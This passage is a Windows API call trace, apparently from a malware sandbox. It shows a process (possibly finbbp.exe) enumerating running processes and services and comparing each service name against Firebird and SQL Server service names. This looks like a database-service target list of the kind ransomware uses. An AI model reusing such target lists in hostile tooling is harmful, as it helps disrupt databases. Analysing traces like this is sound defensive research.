th32ProcessID=0x6dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0278.068] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0278.068] Process32NextW (in: hSnapshot=0x2f8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0278.069] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0278.069] Process32NextW (in: hSnapshot=0x2f8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x978, pcPriClassBase=8, dwFlags=0x0, szExeFile="finbbp.exe")) returned 1 [0278.069] lstrlenW (lpString="finbbp.exe") returned 10 [0278.069] Process32NextW (in: hSnapshot=0x2f8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xefc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0278.070] lstrlenW (lpString="svchost.exe") returned 11 [0278.070] Process32NextW (in: hSnapshot=0x2f8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfa8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0278.070] lstrlenW (lpString="dllhost.exe") returned 11 [0278.070] Process32NextW (in: hSnapshot=0x2f8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x69c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0278.071] lstrlenW (lpString="dllhost.exe") returned 11 [0278.071] Process32NextW (in: hSnapshot=0x2f8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x69c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0278.071] CloseHandle (hObject=0x2f8) returned 1 [0278.072] Sleep (dwMilliseconds=0x1f4) [0278.578] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x41aaa60 [0278.579] EnumServicesStatusExW (in: hSCManager=0x41aaa60, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x248ff3c, lpServicesReturned=0x248ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x248ff3c, lpServicesReturned=0x248ff54, lpResumeHandle=0x0) returned 0 [0278.580] GetLastError () returned 0xea [0278.580] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x1ca4) returned 0x5081068 [0278.580] EnumServicesStatusExW (in: hSCManager=0x41aaa60, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x5081068, cbBufSize=0x1ca4, pcbBytesNeeded=0x248ff3c, lpServicesReturned=0x248ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x5081068, pcbBytesNeeded=0x248ff3c, lpServicesReturned=0x248ff54, lpResumeHandle=0x0) returned 1 [0278.581] CloseServiceHandle (hSCObject=0x41aaa60) returned 1 [0278.581] lstrlenW (lpString="Appinfo") returned 7 [0278.581] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0278.581] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0278.581] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0278.582] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0278.582] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0278.582] lstrlenW (lpString="AppXSvc") returned 7 [0278.582] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0278.582] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0278.582] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0278.582] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0278.582] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0278.582] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0278.582] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0278.582] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0278.582] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0278.582] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0278.582] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0278.582] lstrlenW (lpString="Audiosrv") returned 8 [0278.582] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0278.582] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0278.582] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0278.582] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0278.582] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0278.582] lstrlenW (lpString="BFE") returned 3 [0278.582] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0278.582] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0278.582] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0278.582] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0278.583] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0278.583] lstrlenW (lpString="BITS") returned 4 [0278.583] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0278.583] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0278.583] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0278.583] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0278.583] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0278.583] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0278.583] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0278.583] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0278.583] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0278.583] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0278.583] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0278.583] lstrlenW (lpString="CDPSvc") returned 6 [0278.583] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0278.583] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0278.583] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0278.583] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0278.583] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0278.583] lstrlenW (lpString="ClickToRunSvc") returned 13 [0278.583] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0278.583] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0278.584] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0278.584] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0278.584] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0278.584] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0278.584] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0278.584] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0278.584] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0278.584] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0278.584] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0278.584] lstrlenW (lpString="CryptSvc") returned 8 [0278.584] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0278.584] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0278.584] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0278.584] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0278.584] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0278.584] lstrlenW (lpString="DcomLaunch") returned 10 [0278.584] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0278.584] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0278.584] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0278.584] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0278.584] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0278.584] lstrlenW (lpString="DeviceAssociationService") returned 24 [0278.584] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0278.585] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0278.585] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0278.585] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0278.585] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0278.585] lstrlenW (lpString="Dhcp") returned 4 [0278.585] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0278.585] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0278.585] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0278.585] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0278.585] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0278.585] lstrlenW (lpString="Dnscache") returned 8 [0278.585] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0278.585] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0278.585] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0278.585] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0278.585] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0278.585] lstrlenW (lpString="DPS") returned 3 [0278.585] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0278.585] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0278.585] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0278.585] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0278.585] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0278.585] lstrlenW (lpString="DusmSvc") returned 7 [0278.585] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0278.585] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0278.585] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0278.585] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0278.586] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0278.586] lstrlenW (lpString="EventLog") returned 8 [0278.586] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0278.586] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0278.586] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0278.586] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0278.586] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0278.586] lstrlenW (lpString="EventSystem") returned 11 [0278.586] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0278.586] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0278.586] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0278.586] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0278.586] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0278.586] lstrlenW (lpString="FontCache") returned 9 [0278.586] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0278.586] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0278.586] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0278.586] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0278.586] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0278.586] lstrlenW (lpString="gpsvc") returned 5 [0278.586] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0278.586] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0278.586] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0278.586] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0278.586] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0278.586] lstrlenW (lpString="iphlpsvc") returned 8 [0278.586] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0278.587] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0278.587] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0278.587] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0278.587] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0278.587] lstrlenW (lpString="KeyIso") returned 6 [0278.587] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0278.587] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0278.587] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0278.587] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0278.587] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0278.587] lstrlenW (lpString="LanmanServer") returned 12 [0278.587] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0278.587] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0278.587] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0278.587] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0278.587] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0278.587] lstrlenW (lpString="LanmanWorkstation") returned 17 [0278.587] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0278.587] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0278.587] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0278.587] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0278.587] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0278.587] lstrlenW (lpString="lfsvc") returned 5 [0278.587] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0278.587] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0278.587] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0278.587] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0278.588] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0278.588] lstrlenW (lpString="lmhosts") returned 7 [0278.588] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0278.588] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0278.588] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0278.588] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0278.588] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0278.588] lstrlenW (lpString="LSM") returned 3 [0278.588] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0278.588] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0278.588] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0278.588] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0278.588] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0278.588] lstrlenW (lpString="MpsSvc") returned 6 [0278.588] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0278.588] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0278.588] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0278.588] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0278.588] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0278.588] lstrlenW (lpString="NcbService") returned 10 [0278.588] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0278.588] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0278.588] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0278.588] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0278.588] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0278.588] lstrlenW (lpString="netprofm") returned 8 [0278.588] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0278.589] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0278.589] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0278.589] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0278.589] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0278.589] lstrlenW (lpString="NgcSvc") returned 6 [0278.589] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0278.589] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0278.589] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0278.589] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0278.589] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0278.589] lstrlenW (lpString="NlaSvc") returned 6 [0278.589] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0278.589] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0278.589] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0278.589] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0278.589] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0278.589] lstrlenW (lpString="nsi") returned 3 [0278.589] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0278.589] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0278.589] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0278.589] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0278.589] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0278.589] lstrlenW (lpString="PcaSvc") returned 6 [0278.589] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0278.589] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0278.589] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0278.589] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0278.590] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0278.590] lstrlenW (lpString="PlugPlay") returned 8 [0278.590] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0278.590] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0278.590] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0278.590] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0278.590] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0278.590] lstrlenW (lpString="Power") returned 5 [0278.590] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0278.590] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0278.590] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0278.590] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0278.590] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0278.590] lstrlenW (lpString="ProfSvc") returned 7 [0278.590] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0278.590] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0278.590] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0278.590] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0278.590] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0278.590] lstrlenW (lpString="RpcEptMapper") returned 12 [0278.590] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0278.590] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0278.590] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0278.590] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0278.590] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0278.590] lstrlenW (lpString="RpcSs") returned 5 [0278.590] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0278.590] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0278.591] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0278.591] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0278.591] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0278.591] lstrlenW (lpString="SamSs") returned 5 [0278.591] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0278.591] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0278.591] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0278.591] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0278.591] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0278.591] lstrlenW (lpString="Schedule") returned 8 [0278.591] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0278.591] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0278.591] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0278.591] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0278.591] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0278.591] lstrlenW (lpString="SecurityHealthService") returned 21 [0278.591] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0278.591] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0278.591] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0278.591] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0278.591] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0278.591] lstrlenW (lpString="SENS") returned 4 [0278.591] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0278.591] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0278.591] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0278.591] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0278.591] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0278.592] lstrlenW (lpString="ShellHWDetection") returned 16 [0278.592] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0278.592] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0278.592] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0278.592] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0278.592] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0278.592] lstrlenW (lpString="Spooler") returned 7 [0278.592] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0278.592] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0278.592] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0278.592] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0278.592] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0278.592] lstrlenW (lpString="SSDPSRV") returned 7 [0278.592] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0278.592] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0278.592] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0278.592] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0278.592] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0278.592] lstrlenW (lpString="StateRepository") returned 15 [0278.592] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0278.592] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0278.592] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0278.592] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0278.592] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0278.592] lstrlenW (lpString="SysMain") returned 7 [0278.592] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", 